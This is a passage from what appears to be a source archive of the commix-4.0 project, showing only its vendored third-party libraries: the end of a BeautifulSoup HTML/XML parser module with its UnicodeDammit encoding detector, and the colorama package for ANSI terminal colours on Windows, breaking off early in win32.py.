BeautifulStoneSoup before writing your own subclass."""
def __init__(self, *args, **kwargs):
if 'smartQuotesTo' not in kwargs:
kwargs['smartQuotesTo'] = self.HTML_ENTITIES
kwargs['isHTML'] = True
BeautifulStoneSoup.__init__(self, *args, **kwargs)
SELF_CLOSING_TAGS = buildTagMap(None,
('br' , 'hr', 'input', 'img', 'meta',
'spacer', 'link', 'frame', 'base', 'col'))
PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea'])
QUOTE_TAGS = {'script' : None, 'textarea' : None}
#According to the HTML standard, each of these inline tags can
#contain another tag of the same type. Furthermore, it's common
#to actually use these tags this way.
NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup',
'center')
#According to the HTML standard, these block tags can contain
#another tag of the same type. Furthermore, it's common
#to actually use these tags this way.
NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del')
#Lists can contain other lists, but there are restrictions.
NESTABLE_LIST_TAGS = { 'ol' : [],
'ul' : [],
'li' : ['ul', 'ol'],
'dl' : [],
'dd' : ['dl'],
'dt' : ['dl'] }
#Tables can contain other tables, but there are restrictions.
NESTABLE_TABLE_TAGS = {'table' : [],
'tr' : ['table', 'tbody', 'tfoot', 'thead'],
'td' : ['tr'],
'th' : ['tr'],
'thead' : ['table'],
'tbody' : ['table'],
'tfoot' : ['table'],
}
NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre')
#If one of these tags is encountered, all tags up to the next tag of
#this type are popped.
RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript',
NON_NESTABLE_BLOCK_TAGS,
NESTABLE_LIST_TAGS,
NESTABLE_TABLE_TAGS)
NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS,
NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS)
# Used to detect the charset in a META tag; see start_meta
CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M)
def start_meta(self, attrs):
"""Beautiful Soup can detect a charset included in a META tag,
try to convert the document to that charset, and re-parse the
document from the beginning."""
httpEquiv = None
contentType = None
contentTypeIndex = None
tagNeedsEncodingSubstitution = False
for i in xrange(0, len(attrs)):
key, value = attrs[i]
key = key.lower()
if key == 'http-equiv':
httpEquiv = value
elif key == 'content':
contentType = value
contentTypeIndex = i
if httpEquiv and contentType: # It's an interesting meta tag.
match = self.CHARSET_RE.search(contentType)
if match:
if (self.declaredHTMLEncoding is not None or
self.originalEncoding == self.fromEncoding):
# An HTML encoding was sniffed while converting
# the document to Unicode, or an HTML encoding was
# sniffed during a previous pass through the
# document, or an encoding was specified
# explicitly and it worked. Rewrite the meta tag.
def rewrite(match):
return match.group(1) + "%SOUP-ENCODING%"
newAttr = self.CHARSET_RE.sub(rewrite, contentType)
attrs[contentTypeIndex] = (attrs[contentTypeIndex][0],
newAttr)
tagNeedsEncodingSubstitution = True
else:
# This is our first pass through the document.
# Go through it again with the encoding information.
newCharset = match.group(3)
if newCharset and newCharset != self.originalEncoding:
self.declaredHTMLEncoding = newCharset
self._feed(self.declaredHTMLEncoding)
raise StopParsing
pass
tag = self.unknown_starttag("meta", attrs)
if tag and tagNeedsEncodingSubstitution:
tag.containsSubstitutions = True
class StopParsing(Exception):
pass
class ICantBelieveItsBeautifulSoup(BeautifulSoup):
"""The BeautifulSoup class is oriented towards skipping over
common HTML errors like unclosed tags. However, sometimes it makes
errors of its own. For instance, consider this fragment:
<b>Foo<b>Bar</b></b>
This is perfectly valid (if bizarre) HTML. However, the
BeautifulSoup class will implicitly close the first b tag when it
encounters the second 'b'. It will think the author wrote
"<b>Foo<b>Bar", and didn't close the first 'b' tag, because
there's no real-world reason to bold something that's already
bold. When it encounters '</b></b>' it will close two more 'b'
tags, for a grand total of three tags closed instead of two. This
can throw off the rest of your document structure. The same is
true of a number of other tags, listed below.
It's much more common for someone to forget to close a 'b' tag
than to actually use nested 'b' tags, and the BeautifulSoup class
handles the common case. This class handles the not-co-common
case: where you can't believe someone wrote what they did, but
it's valid HTML and BeautifulSoup screwed up by assuming it
wouldn't be."""
I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \
('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong',
'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b',
'big')
I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',)
NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS,
I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS,
I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS)
class MinimalSoup(BeautifulSoup):
"""The MinimalSoup class is for parsing HTML that contains
pathologically bad markup. It makes no assumptions about tag
nesting, but it does know which tags are self-closing, that
<script> tags contain Javascript and should not be parsed, that
META tags may contain encoding information, and so on.
This also makes it better for subclassing than BeautifulStoneSoup
or BeautifulSoup."""
RESET_NESTING_TAGS = buildTagMap('noscript')
NESTABLE_TAGS = {}
class BeautifulSOAP(BeautifulStoneSoup):
"""This class will push a tag with only a single string child into
the tag's parent as an attribute. The attribute's name is the tag
name, and the value is the string child. An example should give
the flavor of the change:
<foo><bar>baz</bar></foo>
=>
<foo bar="baz"><bar>baz</bar></foo>
You can then access fooTag['bar'] instead of fooTag.barTag.string.
This is, of course, useful for scraping structures that tend to
use subelements instead of attributes, such as SOAP messages. Note
that it modifies its input, so don't print the modified version
out.
I'm not sure how many people really want to use this class; let me
know if you do. Mainly I like the name."""
def popTag(self):
if len(self.tagStack) > 1:
tag = self.tagStack[-1]
parent = self.tagStack[-2]
parent._getAttrMap()
if (isinstance(tag, Tag) and len(tag.contents) == 1 and
isinstance(tag.contents[0], NavigableString) and
not parent.attrMap.has_key(tag.name)):
parent[tag.name] = tag.contents[0]
BeautifulStoneSoup.popTag(self)
#Enterprise class names! It has come to our attention that some people
#think the names of the Beautiful Soup parser classes are too silly
#and "unprofessional" for use in enterprise screen-scraping. We feel
#your pain! For such-minded folk, the Beautiful Soup Consortium And
#All-Night Kosher Bakery recommends renaming this file to
#"RobustParser.py" (or, in cases of extreme enterprisiness,
#"RobustParserBeanInterface.class") and using the following
#enterprise-friendly class aliases:
class RobustXMLParser(BeautifulStoneSoup):
pass
class RobustHTMLParser(BeautifulSoup):
pass
class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup):
pass
class RobustInsanelyWackAssHTMLParser(MinimalSoup):
pass
class SimplifyingSOAPParser(BeautifulSOAP):
pass
######################################################
#
# Bonus library: Unicode, Dammit
#
# This class forces XML data into a standard format (usually to UTF-8
# or Unicode). It is heavily based on code from Mark Pilgrim's
# Universal Feed Parser. It does not rewrite the XML or HTML to
# reflect a new encoding: that happens in BeautifulStoneSoup.handle_pi
# (XML) and BeautifulSoup.start_meta (HTML).
# Autodetects character encodings.
# Download from http://chardet.feedparser.org/
try:
import chardet
# import chardet.constants
# chardet.constants._debug = 1
except ImportError:
chardet = None
# cjkcodecs and iconv_codec make Python know about more character encodings.
# Both are available from http://cjkpython.i18n.org/
# They're built in if you use Python 2.4.
try:
import cjkcodecs.aliases
except ImportError:
pass
try:
import iconv_codec
except ImportError:
pass
class UnicodeDammit:
"""A class for detecting the encoding of a *ML document and
converting it to a Unicode string. If the source encoding is
windows-1252, can replace MS smart quotes with their HTML or XML
equivalents."""
# This dictionary maps commonly seen values for "charset" in HTML
# meta tags to the corresponding Python codec names. It only covers
# values that aren't in Python's aliases and can't be determined
# by the heuristics in find_codec.
CHARSET_ALIASES = { "macintosh" : "mac-roman",
"x-sjis" : "shift-jis" }
def __init__(self, markup, overrideEncodings=[],
smartQuotesTo='xml', isHTML=False):
self.declaredHTMLEncoding = None
self.markup, documentEncoding, sniffedEncoding = \
self._detectEncoding(markup, isHTML)
self.smartQuotesTo = smartQuotesTo
self.triedEncodings = []
if markup == '' or isinstance(markup, text_type):
self.originalEncoding = None
self.unicode = text_type(markup)
return
u = None
for proposedEncoding in overrideEncodings:
u = self._convertFrom(proposedEncoding)
if u: break
if not u:
for proposedEncoding in (documentEncoding, sniffedEncoding):
u = self._convertFrom(proposedEncoding)
if u: break
# If no luck and we have auto-detection library, try that:
if not u and chardet and not isinstance(self.markup, text_type):
u = self._convertFrom(chardet.detect(self.markup)['encoding'])
# As a last resort, try utf-8 and windows-1252:
if not u:
for proposed_encoding in ("utf-8", "windows-1252"):
u = self._convertFrom(proposed_encoding)
if u: break
self.unicode = u
if not u: self.originalEncoding = None
def _subMSChar(self, orig):
"""Changes a MS smart quote character to an XML or HTML
entity."""
sub = self.MS_CHARS.get(orig)
if isinstance(sub, tuple):
if self.smartQuotesTo == 'xml':
sub = '&#x%s;' % sub[1]
else:
sub = '&%s;' % sub[0]
return sub
def _convertFrom(self, proposed):
proposed = self.find_codec(proposed)
if not proposed or proposed in self.triedEncodings:
return None
self.triedEncodings.append(proposed)
markup = self.markup
# Convert smart quotes to HTML if coming from an encoding
# that might have them.
if self.smartQuotesTo and proposed.lower() in("windows-1252",
"iso-8859-1",
"iso-8859-2"):
markup = re.compile("([\x80-\x9f])").sub \
(lambda x: self._subMSChar(x.group(1)),
markup)
try:
# print "Trying to convert document to %s" % proposed
u = self._toUnicode(markup, proposed)
self.markup = u
self.originalEncoding = proposed
except Exception as e:
# print "That didn't work!"
# print e
return None
#print "Correct encoding: %s" % proposed
return self.markup
def _toUnicode(self, data, encoding):
'''Given a string and its encoding, decodes the string into Unicode.
%encoding is a string recognized by encodings.aliases'''
# strip Byte Order Mark (if present)
if (len(data) >= 4) and (data[:2] == '\xfe\xff') \
and (data[2:4] != '\x00\x00'):
encoding = 'utf-16be'
data = data[2:]
elif (len(data) >= 4) and (data[:2] == '\xff\xfe') \
and (data[2:4] != '\x00\x00'):
encoding = 'utf-16le'
data = data[2:]
elif data[:3] == '\xef\xbb\xbf':
encoding = 'utf-8'
data = data[3:]
elif data[:4] == '\x00\x00\xfe\xff':
encoding = 'utf-32be'
data = data[4:]
elif data[:4] == '\xff\xfe\x00\x00':
encoding = 'utf-32le'
data = data[4:]
newdata = text_type(data, encoding)
return newdata
def _detectEncoding(self, xml_data, isHTML=False):
"""Given a document, tries to detect its XML encoding."""
xml_encoding = sniffed_xml_encoding = None
try:
if xml_data[:4] == '\x4c\x6f\xa7\x94':
# EBCDIC
xml_data = self._ebcdic_to_ascii(xml_data)
elif xml_data[:4] == '\x00\x3c\x00\x3f':
# UTF-16BE
sniffed_xml_encoding = 'utf-16be'
xml_data = text_type(xml_data, 'utf-16be').encode('utf-8')
elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \
and (xml_data[2:4] != '\x00\x00'):
# UTF-16BE with BOM
sniffed_xml_encoding = 'utf-16be'
xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8')
elif xml_data[:4] == '\x3c\x00\x3f\x00':
# UTF-16LE
sniffed_xml_encoding = 'utf-16le'
xml_data = text_type(xml_data, 'utf-16le').encode('utf-8')
elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \
(xml_data[2:4] != '\x00\x00'):
# UTF-16LE with BOM
sniffed_xml_encoding = 'utf-16le'
xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8')
elif xml_data[:4] == '\x00\x00\x00\x3c':
# UTF-32BE
sniffed_xml_encoding = 'utf-32be'
xml_data = text_type(xml_data, 'utf-32be').encode('utf-8')
elif xml_data[:4] == '\x3c\x00\x00\x00':
# UTF-32LE
sniffed_xml_encoding = 'utf-32le'
xml_data = text_type(xml_data, 'utf-32le').encode('utf-8')
elif xml_data[:4] == '\x00\x00\xfe\xff':
# UTF-32BE with BOM
sniffed_xml_encoding = 'utf-32be'
xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8')
elif xml_data[:4] == '\xff\xfe\x00\x00':
# UTF-32LE with BOM
sniffed_xml_encoding = 'utf-32le'
xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8')
elif xml_data[:3] == '\xef\xbb\xbf':
# UTF-8 with BOM
sniffed_xml_encoding = 'utf-8'
xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8')
else:
sniffed_xml_encoding = 'ascii'
pass
except:
xml_encoding_match = None
xml_encoding_match = re.compile(
r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data)
if not xml_encoding_match and isHTML:
regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I)
xml_encoding_match = regexp.search(xml_data)
if xml_encoding_match is not None:
xml_encoding = xml_encoding_match.groups()[0].lower()
if isHTML:
self.declaredHTMLEncoding = xml_encoding
if sniffed_xml_encoding and \
(xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode',
'iso-10646-ucs-4', 'ucs-4', 'csucs4',
'utf-16', 'utf-32', 'utf_16', 'utf_32',
'utf16', 'u16')):
xml_encoding = sniffed_xml_encoding
return xml_data, xml_encoding, sniffed_xml_encoding
def find_codec(self, charset):
return self._codec(self.CHARSET_ALIASES.get(charset, charset)) \
or (charset and self._codec(charset.replace("-", ""))) \
or (charset and self._codec(charset.replace("-", "_"))) \
or charset
def _codec(self, charset):
if not charset: return charset
codec = None
try:
codecs.lookup(charset)
codec = charset
except (LookupError, ValueError):
pass
return codec
EBCDIC_TO_ASCII_MAP = None
def _ebcdic_to_ascii(self, s):
c = self.__class__
if not c.EBCDIC_TO_ASCII_MAP:
emap = (0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15,
16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31,
128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7,
144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26,
32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33,
38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94,
45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63,
186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34,
195,97,98,99,100,101,102,103,104,105,196,197,198,199,200,
201,202,106,107,108,109,110,111,112,113,114,203,204,205,
206,207,208,209,126,115,116,117,118,119,120,121,122,210,
211,212,213,214,215,216,217,218,219,220,221,222,223,224,
225,226,227,228,229,230,231,123,65,66,67,68,69,70,71,72,
73,232,233,234,235,236,237,125,74,75,76,77,78,79,80,81,
82,238,239,240,241,242,243,92,159,83,84,85,86,87,88,89,
90,244,245,246,247,248,249,48,49,50,51,52,53,54,55,56,57,
250,251,252,253,254,255)
import string
c.EBCDIC_TO_ASCII_MAP = string.maketrans( \
''.join(map(chr, xrange(256))), ''.join(map(chr, emap)))
return s.translate(c.EBCDIC_TO_ASCII_MAP)
MS_CHARS = { '\x80' : ('euro', '20AC'),
'\x81' : ' ',
'\x82' : ('sbquo', '201A'),
'\x83' : ('fnof', '192'),
'\x84' : ('bdquo', '201E'),
'\x85' : ('hellip', '2026'),
'\x86' : ('dagger', '2020'),
'\x87' : ('Dagger', '2021'),
'\x88' : ('circ', '2C6'),
'\x89' : ('permil', '2030'),
'\x8A' : ('Scaron', '160'),
'\x8B' : ('lsaquo', '2039'),
'\x8C' : ('OElig', '152'),
'\x8D' : '?',
'\x8E' : ('#x17D', '17D'),
'\x8F' : '?',
'\x90' : '?',
'\x91' : ('lsquo', '2018'),
'\x92' : ('rsquo', '2019'),
'\x93' : ('ldquo', '201C'),
'\x94' : ('rdquo', '201D'),
'\x95' : ('bull', '2022'),
'\x96' : ('ndash', '2013'),
'\x97' : ('mdash', '2014'),
'\x98' : ('tilde', '2DC'),
'\x99' : ('trade', '2122'),
'\x9a' : ('scaron', '161'),
'\x9b' : ('rsaquo', '203A'),
'\x9c' : ('oelig', '153'),
'\x9d' : '?',
'\x9e' : ('#x17E', '17E'),
'\x9f' : ('Yuml', ''),}
#######################################################################
#By default, act as an HTML pretty-printer.
if __name__ == '__main__':
soup = BeautifulSoup(sys.stdin)
print(soup.prettify())
commix-4.0/src/thirdparty/colorama/ 0000775 0000000 0000000 00000000000 14731205621 0017430 5 ustar 00root root 0000000 0000000 commix-4.0/src/thirdparty/colorama/__init__.py 0000664 0000000 0000000 00000000360 14731205621 0021540 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from .initialise import init, deinit, reinit, colorama_text
from .ansi import Fore, Back, Style, Cursor
from .ansitowin32 import AnsiToWin32
__version__ = '0.3.9'
commix-4.0/src/thirdparty/colorama/ansi.py 0000664 0000000 0000000 00000006365 14731205621 0020746 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
'''
This module generates ANSI character codes to printing colors to terminals.
See: http://en.wikipedia.org/wiki/ANSI_escape_code
'''
from src.utils import colors
CSI = '\033['
OSC = '\033]'
BEL = '\007'
def code_to_chars(code):
return CSI + str(code) + 'm'
class AnsiCodes(object):
def __init__(self, codes):
for name in dir(codes):
if not name.startswith('_'):
value = getattr(codes, name)
setattr(self, name, code_to_chars(value))
class AnsiCursor(object):
def UP(self, n=1):
return CSI + str(n) + "A"
def DOWN(self, n=1):
return CSI + str(n) + "B"
def FORWARD(self, n=1):
return CSI + str(n) + "C"
def BACK(self, n=1):
return CSI + str(n) + "D"
def POS(self, x=1, y=1):
return CSI + str(y) + ";" + str(x) + "H"
def set_title(title):
return OSC + "2;" + title + BEL
def clear_screen(mode=2):
return CSI + str(mode) + "J"
def clear_line(mode=2):
return CSI + str(mode) + "K"
class AnsiFore:
if colors.ENABLE_COLORING:
BLACK = 30
RED = 31
GREY = 90
GREEN = 32
YELLOW = 33
BLUE = 34
MAGENTA = 35
CYAN = 36
WHITE = 37
RESET = 39
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 90
LIGHTRED_EX = 91
LIGHTGREEN_EX = 92
LIGHTYELLOW_EX = 93
LIGHTBLUE_EX = 94
LIGHTMAGENTA_EX = 95
LIGHTCYAN_EX = 96
LIGHTWHITE_EX = 97
else:
BLACK = RED = GREY = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0
class AnsiBack:
if colors.ENABLE_COLORING:
BLACK = 40
RED = 41
GREEN = 42
YELLOW = 43
BLUE = 44
MAGENTA = 45
CYAN = 46
WHITE = 47
RESET = 49
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 100
LIGHTRED_EX = 101
LIGHTGREEN_EX = 102
LIGHTYELLOW_EX = 103
LIGHTBLUE_EX = 104
LIGHTMAGENTA_EX = 105
LIGHTCYAN_EX = 106
LIGHTWHITE_EX = 107
else:
BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0
class AnsiStyle:
if colors.ENABLE_COLORING:
BRIGHT = 1
DIM = 2
UNDERLINE = 4
NORMAL = 22
RESET_ALL = 0
else:
BRIGHT = DIM = UNDERLINE = NORMAL = RESET_ALL = 0
Fore = AnsiCodes( AnsiFore )
Back = AnsiCodes( AnsiBack )
Style = AnsiCodes( AnsiStyle )
Cursor = AnsiCursor()
commix-4.0/src/thirdparty/colorama/ansitowin32.py 0000664 0000000 0000000 00000023611 14731205621 0022165 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import re
import sys
import os
from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
from .winterm import WinTerm, WinColor, WinStyle
from .win32 import windll, winapi_test
winterm = None
if windll is not None:
winterm = WinTerm()
def is_stream_closed(stream):
return not hasattr(stream, 'closed') or stream.closed
def is_a_tty(stream):
return hasattr(stream, 'isatty') and stream.isatty()
class StreamWrapper(object):
'''
Wraps a stream (such as stdout), acting as a transparent proxy for all
attribute access apart from method 'write()', which is delegated to our
Converter instance.
'''
def __init__(self, wrapped, converter):
# double-underscore everything to prevent clashes with names of
# attributes on the wrapped stream object.
self.__wrapped = wrapped
self.__convertor = converter
def __getattr__(self, name):
return getattr(self.__wrapped, name)
def write(self, text):
self.__convertor.write(text)
class AnsiToWin32(object):
'''
Implements a 'write()' method which, on Windows, will strip ANSI character
sequences from the text, and if outputting to a tty, will convert them into
win32 function calls.
'''
ANSI_CSI_RE = re.compile(r'\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer
ANSI_OSC_RE = re.compile(r'\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command
def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
# The wrapped stream (normally sys.stdout or sys.stderr)
self.wrapped = wrapped
# should we reset colors to defaults after every .write()
self.autoreset = autoreset
# create the proxy wrapping our output stream
self.stream = StreamWrapper(wrapped, self)
on_windows = os.name == 'nt'
# We test if the WinAPI works, because even if we are on Windows
# we may be using a terminal that doesn't support the WinAPI
# (e.g. Cygwin Terminal). In this case it's up to the terminal
# to support the ANSI codes.
conversion_supported = on_windows and winapi_test()
# should we strip ANSI sequences from our output?
if strip is None:
strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))
self.strip = strip
# should we should convert ANSI sequences into win32 calls?
if convert is None:
convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)
self.convert = convert
# dict of ansi codes to win32 functions and parameters
self.win32_calls = self.get_win32_calls()
# are we wrapping stderr?
self.on_stderr = self.wrapped is sys.stderr
def should_wrap(self):
'''
True if this class is actually needed. If false, then the output
stream will not be affected, nor will win32 calls be issued, so
wrapping stdout is not actually required. This will generally be
False on non-Windows platforms, unless optional functionality like
autoreset has been requested using kwargs to init()
'''
return self.convert or self.strip or self.autoreset
def get_win32_calls(self):
if self.convert and winterm:
return {
AnsiStyle.RESET_ALL: (winterm.reset_all, ),
AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
AnsiFore.RED: (winterm.fore, WinColor.RED),
AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
AnsiFore.RESET: (winterm.fore, ),
AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),
AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),
AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),
AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),
AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),
AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),
AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),
AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),
AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
AnsiBack.RED: (winterm.back, WinColor.RED),
AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
AnsiBack.WHITE: (winterm.back, WinColor.GREY),
AnsiBack.RESET: (winterm.back, ),
AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),
AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),
AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),
AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),
AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),
AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),
AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),
AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),
}
return dict()
def write(self, text):
if self.strip or self.convert:
self.write_and_convert(text)
else:
self.wrapped.write(text)
self.wrapped.flush()
if self.autoreset:
self.reset_all()
def reset_all(self):
if self.convert:
self.call_win32('m', (0,))
elif not self.strip and not is_stream_closed(self.wrapped):
self.wrapped.write(Style.RESET_ALL)
def write_and_convert(self, text):
'''
Write the given text to our wrapped stream, stripping any ANSI
sequences from the text, and optionally converting them into win32
calls.
'''
cursor = 0
text = self.convert_osc(text)
for match in self.ANSI_CSI_RE.finditer(text):
start, end = match.span()
self.write_plain_text(text, cursor, start)
self.convert_ansi(*match.groups())
cursor = end
self.write_plain_text(text, cursor, len(text))
def write_plain_text(self, text, start, end):
if start < end:
self._write(text[start:end])
self.wrapped.flush()
# Reference: https://github.com/robotframework/robotframework/commit/828c67695d85519e4435c556c43ed1b00985df05
# Workaround for Windows 10 console bug:
# https://github.com/robotframework/robotframework/issues/2709
def _write(self, text, retry=5):
try:
self.wrapped.write(text)
except IOError as err:
if not (err.errno == 0 and retry > 0):
raise
self._write(text, retry-1)
def convert_ansi(self, paramstring, command):
if self.convert:
params = self.extract_params(command, paramstring)
self.call_win32(command, params)
def extract_params(self, command, paramstring):
if command in 'Hf':
params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))
while len(params) < 2:
# defaults:
params = params + (1,)
else:
params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)
if len(params) == 0:
# defaults:
if command in 'JKm':
params = (0,)
elif command in 'ABCD':
params = (1,)
return params
def call_win32(self, command, params):
if command == 'm':
for param in params:
if param in self.win32_calls:
func_args = self.win32_calls[param]
func = func_args[0]
args = func_args[1:]
kwargs = dict(on_stderr=self.on_stderr)
func(*args, **kwargs)
elif command in 'J':
winterm.erase_screen(params[0], on_stderr=self.on_stderr)
elif command in 'K':
winterm.erase_line(params[0], on_stderr=self.on_stderr)
elif command in 'Hf': # cursor position - absolute
winterm.set_cursor_position(params, on_stderr=self.on_stderr)
elif command in 'ABCD': # cursor position - relative
n = params[0]
# A - up, B - down, C - forward, D - back
x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]
winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)
def convert_osc(self, text):
for match in self.ANSI_OSC_RE.finditer(text):
start, end = match.span()
text = text[:start] + text[end:]
paramstring, command = match.groups()
if command in '\x07': # \x07 = BEL
params = paramstring.split(";")
# 0 - change title and icon (we will only change title)
# 1 - change icon (we don't support this)
# 2 - change title
if params[0] in '02':
winterm.set_title(params[1])
return text
commix-4.0/src/thirdparty/colorama/initialise.py 0000664 0000000 0000000 00000003575 14731205621 0022146 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import atexit
import contextlib
import sys
from .ansitowin32 import AnsiToWin32
orig_stdout = None
orig_stderr = None
wrapped_stdout = None
wrapped_stderr = None
atexit_done = False
def reset_all():
if AnsiToWin32 is not None: # Issue #74: objects might become None at exit
AnsiToWin32(orig_stdout).reset_all()
def init(autoreset=False, convert=None, strip=None, wrap=True):
if not wrap and any([autoreset, convert, strip]):
raise ValueError('wrap=False conflicts with any other arg=True')
global wrapped_stdout, wrapped_stderr
global orig_stdout, orig_stderr
orig_stdout = sys.stdout
orig_stderr = sys.stderr
if sys.stdout is None:
wrapped_stdout = None
else:
sys.stdout = wrapped_stdout = \
wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
if sys.stderr is None:
wrapped_stderr = None
else:
sys.stderr = wrapped_stderr = \
wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
global atexit_done
if not atexit_done:
atexit.register(reset_all)
atexit_done = True
def deinit():
if orig_stdout is not None:
sys.stdout = orig_stdout
if orig_stderr is not None:
sys.stderr = orig_stderr
@contextlib.contextmanager
def colorama_text(*args, **kwargs):
init(*args, **kwargs)
try:
yield
finally:
deinit()
def reinit():
if wrapped_stdout is not None:
sys.stdout = wrapped_stdout
if wrapped_stderr is not None:
sys.stderr = wrapped_stderr
def wrap_stream(stream, convert, strip, autoreset, wrap):
if wrap:
wrapper = AnsiToWin32(stream,
convert=convert, strip=strip, autoreset=autoreset)
if wrapper.should_wrap():
stream = wrapper.stream
return stream
commix-4.0/src/thirdparty/colorama/win32.py 0000664 0000000 0000000 00000012462 14731205621 0020751 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
# from winbase.h
STDOUT = -11
STDERR = -12
try:
import ctypes
from ctypes import LibraryLoader
windll = LibraryLoader(ctypes.WinDLL)
from ctypes import wintypes
except (AttributeError, ImportError):
windll = None
SetConsoleTextAttribute = lambda *_: None
winapi_test = lambda *_: None
else:
from ctypes import byref, Structure, c_char, POINTER
COORD = wintypes._COORD
class CONSOLE_SCREEN_BUFFER_INFO(Structure):
"""struct in wincon.h."""
_fields_ = [
("dwSize", COORD),
